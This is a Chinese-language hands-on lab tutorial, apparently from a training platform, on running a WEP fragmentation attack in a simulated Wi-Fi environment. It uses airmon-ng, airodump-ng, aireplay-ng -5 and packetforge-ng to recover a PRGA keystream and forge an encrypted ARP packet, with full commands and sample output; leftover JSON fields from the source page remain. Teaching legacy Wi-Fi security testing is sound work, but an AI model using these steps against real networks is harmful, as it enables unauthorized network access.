WEP网络碎片攻击实施方法与步骤

## 引言 本次实验的核心目标，是掌握如何针对使用 WEP（Wired Equivalent Privacy）加密的无线网络实施碎片攻击。简单来说，碎片攻击的关键价值在于：即使攻击者并不了解 WEP 的真实密钥，仍然有机会获取一小段 WEP 密钥流，更准确地说，是伪随机生成算法输出的 PRGA。 一旦获得这段密钥流，就可以据此构造新的、有效的加密数据包。随后，再将这些伪造的数据包注入回目标网络，主动诱导更多流量产生。而这一步，正是后续进一步破解完整 WEP 密钥过程中非常重要的环节。 整个流程将借助 `aircrack-ng` 工具集完成，主要包括：先监控目标无线网络，再通过碎片攻击获取 PRGA XOR 文件，最后利用该文件伪造一个 ARP 数据包。 ## 使用 airodump-ng 从目标 AP 获取数据包 在这一步，需要先将无线网卡切换到监控状态，然后使用 `airodump-ng` 抓取目标接入点（AP）的流量。目标非常明确：至少捕获到一个有效数据包，因为这是后续执行 WEP 碎片攻击的前置条件。 第一步是把无线接口切换为监控模式。进入该模式后，网卡不再只接收发给自己的数据，而是能够监听空中的全部 Wi-Fi 通信。这里使用的接口是 `wlan1`，并通过 `airmon-ng` 完成设置。 在终端中执行下面这条命令： ```bash sudo airmon-ng start wlan1 ``` 执行完成后，系统会创建一个新的监控模式接口，通常命名为 `wlan1mon`。命令输出中会清楚显示这个新接口的名称。先看当前环境信息： PHY Interface Driver Chipset phy1 wlan1 mac80211_hwsim Software simulator (monitor mode enabled on wlan1mon) 接下来，使用 `airodump-ng` 定位目标 AP“TestWEP”，并将它的流量保存到文件中。这里会指定 BSSID（`02:00:00:00:00:00`）、信道（`1`）以及输出文件前缀（`capture`）。 执行下面这条命令，让它持续运行约 30 到 60 秒，直到看到 AP 的 `#Data` 计数开始增长。这说明你已经成功捕获到数据包。 ```bash sudo airodump-ng --bssid 02:00:00:00:00:00 -c 1 -w capture wlan1mon ``` 你看到的输出大致如下。重点关注 `#Data` 这一列，只要它出现大于 0 的数值，就说明抓包成功。 ```plaintext CH 1 ][ Elapsed: 30 s ][ 2023-10-27 10:00 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 02:00:00:00:00:00 -30 25 5 1 1 54 WEP WEP TestWEP BSSID STATION PWR Rate Lost Frames Probes ``` 确认已经抓到数据包后，按 `Ctrl+C` 停止 `airodump-ng`。你可以使用 `ls` 命令查看生成的捕获文件，该文件通常会命名为 `capture-01.cap`。n","need_verify":true,"has_solution":false},{"position":2,"title":"使用 aireplay-ng -5 发起碎片攻击","layout":"doc-workbench-split","text":"## 使用 aireplay-ng -5 发起碎片攻击 在此步骤中，你将使用 `aireplay-ng` 发起 WEP 碎片攻击。该攻击会持续监听来自目标 AP 的数据包，一旦捕获到合适的数据包，就会尝试利用该数据包恢复 PRGA 密钥流。 这里使用的命令是 `aireplay-ng -5`。你需要通过 `-b` 参数指定目标 AP 的 BSSID，并在命令末尾提供你的监控模式接口名称。 执行以下命令来启动攻击。 ```bash sudo aireplay-ng -5 -b 02:00:00:00:00:00 wlan1mon ``` 运行命令后，`aireplay-ng` 会开始监听可用于攻击的数据包。终端中会显示一条提示信息，表明它正在等待合适的数据包。 ```plaintext Waiting for a data packet... Read 221 packets... ``` 该工具会持续读取空中流量，直到找到一个适合执行攻击的数据包。在下一步中，一旦检测到可用数据包，你将与这个过程进行交互。现在，只需让它继续运行即可。 ","need_verify":true,"has_solution":false},{"position":3,"title":"等待 aircrack-ng 的“使用此数据包”消息","layout":"doc-workbench-split","text":"## 等待 aircrack-ng 的“使用此数据包”消息 在此步骤中，你将继续使用刚才通过 `aireplay-ng` 启动的进程。稍后，`aireplay-ng` 应该会捕获到一个可用的数据包，并提示你确认是否使用它。 该工具会显示数据包的详细信息，并询问你是否要使用该数据包。 ```plaintext Waiting for a data packet... Read 280 packets... A suitable packet found! Size: 68 1. Use this packet? (y/n) ``` 当你看到 `Use this packet? (y/n)` 提示时，输入 `y` 并按 `Enter`。 ```bash y ``` 确认后，`aireplay-ng` 会尝试根据该数据包重建 PRGA。如果成功，它会在当前目录（`~/project`）中将密钥流保存为一个 `.xor` 文件。输出内容大致如下： ```plaintext Saving chosen packet to replay_src-1027-100500.cap Trying to get 68 bytes of keystream Got keystream!! Saved keystream in fragment-1027-100501.xor Now you can build a packet with packetforge-ng ``` 这表示碎片攻击已经成功，且密钥流文件已保存。这个 `.xor` 文件是后续伪造新数据包的关键材料。 ","need_verify":true,"has_solution":false},{"position":4,"title":"从成功的攻击中生成 PRGA XOR 文件","layout":"doc-workbench-split","text":"## 从成功的攻击中生成 PRGA XOR 文件 在此步骤中，你将确认 PRGA 密钥流文件已经通过碎片攻击成功生成。该文件使用 `.xor` 扩展名，其中包含我们恢复得到的密钥流片段。 正如你在上一步输出中看到的，`aireplay-ng` 会自动保存这个文件。你可以使用 `ls -l` 命令列出当前目录中的文件，以确认它是否存在。 ```bash ls -l ``` 输出中通常会显示多个文件，包括来自 `airodump-ng` 的 `capture-01.cap` 文件，以及最关键的新 `.xor` 文件。具体文件名会根据日期和时间发生变化。 ```plaintext total 20 -rw-r--r-- 1 root root 119 Oct 27 10:02 capture-01.cap -rw-r--r-- 1 root root 68 Oct 27 10:05 fragment-1027-100501.xor -rw-r--r-- 1 root root 114 Oct 27 10:01 hostapd-wep.conf -rw-r--r-- 1 root root 96 Oct 27 10:05 replay_src-1027-100500.cap ``` `fragment-*.xor` 文件的存在，说明你在下一步伪造新数据包所需的关键组件已经准备完成。 ","need_verify":true,"has_solution":false},{"position":5,"title":"使用 XOR 文件伪造 ARP 数据包进行注入","layout":"doc-workbench-split","text":"## 使用 XOR 文件伪造 ARP 数据包进行注入 在此步骤中，你将使用恢复得到的 PRGA 密钥流来伪造一个新的数据包。这里我们会使用 `packetforge-ng` 创建一个 ARP 请求数据包。这个伪造的数据包随后可以注入无线网络，以生成更多流量，这对于后续破解 WEP 密钥等攻击场景非常有帮助。 首先，你需要知道攻击接口（`wlan1`）的 MAC 地址。可以通过 `ip addr` 命令查看。 ```bash ip addr show wlan1 ``` 输出将显示你的 MAC 地址。在当前模拟环境中，它是 `02:00:00:00:01:00`。 ```plaintext 3: wlan1: mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff ``` 现在，构建 `packetforge-ng` 命令。 - `-0`: 指定创建一个 ARP 请求数据包。 - `-a`: 目标 AP 的 BSSID（`02:00:00:00:00:00`）。 - `-h`: 源 MAC 地址（你的 MAC，即 `02:00:00:00:01:00`）。 - `-k`: 目标 IP 地址（这里使用一个常见的广播地址，`192.168.1.255`）。 - `-l`: 源 IP 地址（这里使用一个常见的源地址，`192.168.1.100`）。 - `-y`: `.xor` 文件路径。这里可以使用 `$(ls *.xor)` 自动引用该文件。 - `-w`: 伪造数据包的输出文件名，例如 `arp-packet.cap`。 运行以下命令： ```bash packetforge-ng -0 -a 02:00:00:00:00:00 -h 02:00:00:00:01:00 -k 192.168.1.255 -l 192.168.1.100 -y $(ls *.xor) -w arp-packet.cap ``` 该工具会提示数据包已成功创建。 ```plaintext Wrote packet to arp-packet.cap ``` 至此，你已经成功生成了一个有效的加密 ARP 数据包，而且整个过程无需事先知道 WEP 密钥。你可以使用 `ls` 命令验证该文件是否已创建。这个数据包现在已经准备好被注入到网络中。 ","need_verify":true,"has_solution":false},{"position":6,"title":"总结","layout":"doc-fullscreen","text":"## 总结 在本次实验中，你成功完成了 WEP 碎片攻击的整个流程，并学习了一项适用于遗留 Wi-Fi 安全测试的重要技术。 你首先使用 `airmon-ng` 启用了监控模式接口，然后借助 `airodump-ng` 从目标 AP 抓取数据包。接着，你通过 `aireplay-ng -5` 发起核心碎片攻击，从而恢复出一部分 WEP 密钥流。 最后，你利用恢复得到的密钥流以及 `packetforge-ng`，从头构造了一个自定义的加密 ARP 请求数据包。这个伪造数据包是更进一步攻击的重要工具，例如 ARP 请求重放攻击；而这类攻击能够快速制造大量数据包，为后续破解 WEP 密钥提供所需样本。 ","need_verify":false,"has_solution":false}